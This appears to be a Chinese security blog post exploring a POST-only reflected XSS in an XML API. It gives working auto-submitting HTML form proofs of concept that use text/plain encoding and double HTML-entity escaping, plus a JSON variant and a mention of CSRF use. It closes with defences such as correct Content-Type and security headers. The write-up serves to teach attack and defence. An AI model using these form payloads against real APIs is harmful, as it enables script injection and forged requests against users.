XML接口下POST型反射XSS的攻防探究

Martin Zhou

一、一处“鸡肋”的反射XSS

上月，遇到一处有趣的XML接口，使用POST方式发送如下请求时：

```
POST /query HTTP/1.1
Host: api.demo.com
Content-Type: application/xml

<xml><vulnerable>2019&lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;</vulnerable></xml>
```

得到的响应如下：

```
Content-Type: text/html; charset=UTF-8
Server: nginx/1.8.1

<xml>
    <return_code><![CDATA[SUCCESS]]></return_code>
    <vulnerable><![CDATA[2019<ScRiPt>alert(1)</ScRiPt>]]></vulnerable>
</xml>
```

这是一例典型的反射XSS。一方面，后端错误的将XML节点传入的HTML实体字符解码成HTML特殊字符，且值攻击者可控；另一方面，尽管是一处XML接口，但响应头中的Content-Type被配置成了text/html，也就意味着浏览器会解析响应中的HTML标签。

目前为止，上述仅是“纸上谈兵”，此处风险真的能在实际场景下利用吗？

我们知道利用反射XSS的核心是，构造链接/请求让被攻击者触发。这说起来容易，但本案例却有两个“利用门槛”：

1) 普通HTML表单会将POST请求体编码，导致XML结构被破坏，服务器抛出错误。
2) HTML表单默认键值形式提交，但本例中的整个请求体都是XML结构。

也正是因为这两只拦路虎，这例“传入点位于XML节点中，且接口仅接受POST方式提交的请求”的XSS案例，差点被我打入“仅有理论上的风险”的冷宫。

二、一个“不起眼”的属性

一切的转折点始于一个不起眼的标签属性 —— enctype（encrypt-type的缩写）。通过查询手册，发现form表单其实有限的支持设置请求Content-Type，可选项包括：application/x-www-form-urlencoded，multipart/form-data以及text/plain。如未配置enctype，则默认是“application/x-www-form-urlencoded”。

也就是说，通过配置enctype=“text/plain”，可使通过HTML Form表单提交的XML数据摆脱“被编码”的干扰，第一个“门槛”也就迎刃而解。

再看第二个问题，form表单键值形式的束缚。尽管在使用<input>标签过程中，一般需要定义name（键）和value（值）。但实际上，只定义name属性也是可以的，类似这样：<input name=“xxxxx” />。美中不足的是，发出去的请求会多带一个小尾巴 —— “=”。简单尝试后发现，放着不管或者是组合name、value将“=”包裹起来都可以，类似这样：

```
—请求 / 响应 1—

<input name="<xml><vulnerable>2019&lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;</
vulnerable></xml>" />


<xml>
    <return_code><![CDATA[SUCCESS]]></return_code>
    <vulnerable><![CDATA[2019<ScRiPt>alert(1)</ScRiPt>]]></vulnerable>
</xml>


—请求 / 响应 2—

<input name="<xml><vulnerable>2019&lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;</
vulnerable><foo>" value="</foo></xml>" />


<xml>
    <return_code><![CDATA[SUCCESS]]></return_code>
    <vulnerable><![CDATA[2019<ScRiPt>alert(1)</ScRiPt>]]></vulnerable>
    <foo>=</foo>
</xml>
```

解决了上述两个限制后，写了新的用例。

```
<form action="http://api.demo.com" method="POST" enctype="text/plain">
<input name="<xml><vulnerable>2019&lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;</
vulnerable><foo>" value="</foo></xml>" />
<input type="submit"/>
</form>
```

兴冲冲的提交，却被响应内容泼了盆冷水。HTML实体在浏览器发请求时被转回特殊符号，也就是说，浏览器实际发出的请求是这样的：

```
<form action="" method="POST" enctype="text/plain">
<input name="<xml><vulnerable>2019<ScRiPt>alert(1)</ScRiPt></
vulnerable><foo>" value="</foo></xml>" />
<input type="submit"/>
</form>
```

XML是一种形式严格的标记语言，所以服务器解析失败。既然浏览器会解一次HTML实体，可以尝试两次实体编码。试了一下，果然是这样。所以，最终的用例也就呼之欲出了：

```
<form action="http://api.demo.com" method="POST" enctype="text/plain">
<input
name="<xml><vulnerable>2019&#x26;&#x23;&#x78;&#x33;&#x63;&#x3b;&#x26;&
#x23;&#x78;&#x35;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x33;&#x3b;&#x26;
&#x23;&#x78;&#x35;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x39;&#x3b;&#x2
6;&#x23;&#x78;&#x35;&#x30;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x
26;&#x23;&#x78;&#x33;&#x65;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x31;&#x3b;&#
x26;&#x23;&#x78;&#x36;&#x63;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x35;&#x3b;&
#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;
&#x26;&#x23;&#x78;&#x32;&#x38;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x31;&#x3
b;&#x26;&#x23;&#x78;&#x32;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x63;&#x
3b;&#x26;&#x23;&#x78;&#x32;&#x66;&#x3b;&#x26;&#x23;&#x78;&#x35;&#x33;&#
x3b;&#x26;&#x23;&#x78;&#x36;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x35;&#x32;&
#x3b;&#x26;&#x23;&#x78;&#x36;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x35;&#x30;
&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x6
5;&#x3b;<foo>" value="</foo></xml>" />
<input type="submit" />
</form>
<script>
    document.forms[0].submit();
</script>
```

三、利用手法的“举一反三”

综上，整个过程组合使用了三个技巧，进而成功利用了“仅允许POST方式提交的XML接口”中的反射XSS：

(1) 使用enctype="text/plain"，使请求体不被编码。
(2) 引入额外标签/属性，将key和value之间的=包裹，使其不破坏数据结构。
(3) 两次HTML实体编码转义，使Payload不会因为浏览器反转义被破坏。

举一反三，其实上述思路同样能运用在部分JSON接口的POST型反射XSS场景下。

```
<form action="http://api.demo.com" method="POST" enctype="text/plain">
<input name="{'vulnerable':'payload_here','foo':'" value="'}" />
<input type="submit" />
</form>
<script>
    document.forms[0].submit();
</script>
```

此外，结合表单的自动提交，还能用于相关接口的POST型CSRF的利用。

四、从“头”开始，构建防线

知己知彼，百战不殆。挖掘风险、研究利用固然重要，但绝非攻防探究的“最后一站”。回看本文讨论的案例 —— API接口XSS，往往能从两方面构建防线，避免风险。

一方面，对传入的可控参数值做校验限制或特殊字符过滤。限制本质上更偏向“白名单”思路。实际场景下，选择“限制”还是“过滤”，应从功能需求倒推。比如，功能仅允许用户填入手机号，那这时将允许参数值限制为纯数字，就比直接引入HTML特殊字符转义过滤更好。过滤往往是无法限制场景下的“最后之选”，例如，用户评论。

限制/过滤往往是风险产生时，最根本、有效的解决方式。

但针对API接口的XSS，攻击面的收敛，还应从“头”入手，构建另一道防线。“头”在这里指HTTP响应头。以上文接口为例，XSS最终能利用也归因于错配的“Content-Type: text/html; charset=UTF-8”字段。如果将Content-Type设置为text/xml，即便能注入HTML特殊字符，XSS也无法利用。

除了正确配置“Content-Type”头外，近年来，业界为了缓解发生在前端的安全风险，推出了若干响应头。对响应头进行规范的配置，可提高利用门槛，进一步保障业务安全。包括但不限于：

表 与安全相关的HTTP响应头

响应头	介绍	示例	参考文档
Content-Type (必备)	用于定义响应内容的MIME Type，应与预期的响应内容数据类型匹配。	响应数据为JSON格式，则设置头“Content-Type: application/json; charset=UTF-8”；	https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type
X-Content-Type-Options (必备)	用于禁用浏览器的sniff特性，防止因浏览器内容嗅探产生能利用的XSS。	在保证Content-Type配置正确的情况下，在响应头中添加X-Content-Type-Options: nosniff	https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Content-Type-Options

Referrer-Policy (必备)	用于过滤当前页面产生请求中Referrer字段的内容。若业务在URL中传递敏感信息（如：登录态），则必须配置。其余场景选填。	例如，仅允许Referrer中包含当前域名信息，则配置Referrer-Policy: origin	https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referrer-Policy
X-Frame-Options	用于预防Clickjacking攻击。	例如，页面仅允许同源站点引用，则配置X-Frame-Options: SAMEORIGIN	https://developer.mozilla.org/zh-CN/docs/Web/HTTP/X-Frame-Options
Content-Security-Policy	内容安全策略，可在前端实现一套类似“沙盒”的机制。	用法及示例详参考W3C文档	https://w3c.github.io/webappsec-csp/